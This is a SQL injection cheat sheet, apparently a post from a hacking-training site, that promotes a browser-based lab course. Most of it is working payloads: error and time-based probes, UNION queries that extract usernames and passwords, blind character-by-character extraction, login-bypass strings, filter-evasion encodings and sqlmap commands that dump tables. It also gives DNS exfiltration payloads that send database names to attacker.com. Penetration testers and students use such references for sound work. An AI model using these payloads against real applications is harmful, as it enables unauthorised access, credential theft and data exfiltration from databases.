The complete SQL injection reference — detection payloads, UNION attacks, blind injection, time-based techniques, and database-specific syntax for MySQL, PostgreSQL, MSSQL, and Oracle.
SQL injection is one of the oldest and most consistently rewarded vulnerability classes in web security. This is the reference you'll want open during testing — detection payloads, UNION attacks, blind injection techniques, and database-specific syntax for the four main database engines.
Before trying to extract data, confirm the parameter is injectable. These probes cause observable differences in the response when injection is possible:
# Basic error triggers
'
''
`
')
'))
# Boolean-based detection
' AND '1'='1 -- true condition, normal response
' AND '1'='2 -- false condition, different response
# Arithmetic-based detection (parameter is numeric)
1 AND 1=1 -- true
1 AND 1=2 -- false
1+1 -- evaluates to 2, may change response
# Time-based detection (when there is no visible output difference)
-- MySQL / MariaDB
' AND SLEEP(5)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
-- Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)---- MySQL, MSSQL, PostgreSQL, Oracle (SQL standard): -- -- MySQL also accepts: # -- (with trailing space) /* inline comment, all databases */
UNION attacks let you append a second SELECT to the original query and return data in the existing response. Three requirements: same number of columns as the original query, compatible data types, and at least one column must be displayed.
# Step 1: find the number of columns ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- -- Increment until you get an error — the last working number is the column count # Alternative: NULL columns ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- # Step 2: find which columns are displayed (replace NULL with a string) ' UNION SELECT 'a',NULL,NULL-- ' UNION SELECT NULL,'a',NULL-- ' UNION SELECT NULL,NULL,'a'-- # Step 3: extract data (assuming 3 columns, column 2 is displayed) -- Current database user and version ' UNION SELECT NULL,user(),version()-- -- MySQL ' UNION SELECT NULL,current_user,version()-- -- PostgreSQL ' UNION SELECT NULL,user,@@version-- -- MSSQL ' UNION SELECT NULL,user,banner FROM v$version-- -- Oracle -- Database name ' UNION SELECT NULL,database(),NULL-- -- MySQL ' UNION SELECT NULL,current_database(),NULL-- -- PostgreSQL ' UNION SELECT NULL,db_name(),NULL-- -- MSSQL
-- MySQL / PostgreSQL / MSSQL ' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- ' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -- Oracle (no information_schema — use all_tables / all_columns) ' UNION SELECT NULL,table_name,NULL FROM all_tables-- ' UNION SELECT NULL,column_name,NULL FROM all_columns WHERE table_name='USERS'-- -- Concatenate multiple columns into one (when only one column is displayed) -- MySQL ' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -- PostgreSQL ' UNION SELECT NULL,username||':'||password,NULL FROM users-- -- MSSQL ' UNION SELECT NULL,username+':'+password,NULL FROM users-- -- Oracle ' UNION SELECT NULL,username||':'||password,NULL FROM users--
When the application gives no visible output from the query result, you extract data one bit at a time by asking yes/no questions and observing the response (boolean-based) or by measuring response time (time-based).
# Boolean-based: extract database name character by character -- MySQL ' AND SUBSTRING(database(),1,1)='a'-- ' AND SUBSTRING(database(),1,1)='b'-- -- (repeat until true — then move to position 2) -- PostgreSQL ' AND SUBSTRING(current_database(),1,1)='a'-- -- MSSQL ' AND SUBSTRING(db_name(),1,1)='a'-- # Time-based: same idea but the condition triggers a sleep -- MySQL ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -- PostgreSQL ' AND 1=(SELECT CASE WHEN SUBSTRING(current_database(),1,1)='a' THEN 1 ELSE (SELECT 1 FROM pg_sleep(5)) END)-- -- MSSQL ' AND IF(SUBSTRING(db_name(),1,1)='a',WAITFOR DELAY '0:0:5',0)--
# Login form — username field injection
admin'--
admin'/*
' OR '1'='1
' OR 1=1--
' OR 1=1#
admin' OR '1'='1'--
' OR ''='
') OR ('1'='1
# When the query is: SELECT * FROM users WHERE user='$u' AND pass='$p'
-- Username: admin'-- (comments out the password check)
-- Username: ' OR 1=1-- (returns all rows, usually logs in as first user)Input is stored safely (with escaping) then retrieved and used unsafely in a later query. The classic pattern: register a username of admin'--. The registration INSERT is safe. When the app later builds a query using the retrieved username, the payload fires.
Detection requires mapping data flows, not just testing input directly. Look for any place where stored user data is later used to construct SQL.
-- When you can't read results in-band (no UNION output, no blind difference)
-- Trigger a DNS lookup to a domain you control
-- MySQL (requires FILE privilege)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
-- MSSQL (xp_dirtree)
'; EXEC master..xp_dirtree '//'+db_name()+'.attacker.com/a'--
-- PostgreSQL (requires superuser)
'; COPY (SELECT current_database()) TO PROGRAM 'nslookup '||current_database()||'.attacker.com'--
-- Use Burp Collaborator or interactsh to catch the DNS callbacks# Test a URL parameter sqlmap -u "https://target.com/items?id=1" --dbs # Test a POST parameter sqlmap -u "https://target.com/login" --data="user=test&pass=test" -p user # Specify database type (faster) sqlmap -u "..." --dbms=mysql # Dump a specific table sqlmap -u "..." -D database_name -T users --dump # Use a saved Burp request file sqlmap -r request.txt --level=3 --risk=2 # Bypass basic WAF sqlmap -u "..." --tamper=space2comment,between
# Case variation (case-insensitive SQL keywords) SeLeCt, UnIoN, sElEcT # Comment insertion UN/**/ION SEL/**/ECT UN-- ION SELECT # URL encoding %27 = ' %20 = space %2D%2D = -- # Double URL encoding (when server decodes twice) %2527 = %27 = ' # Whitespace alternatives SELECT/**/username/**/FROM/**/users SELECT%09username%09FROM%09users -- tab character # Inline comments /*!UNION*/ /*!SELECT*/ 1,2,3
Everything in this post has a live lab on hackr.gg. Spin up a vulnerable machine and exploit it yourself — no setup, no VPN, runs in your browser.
Open SQL Injection course →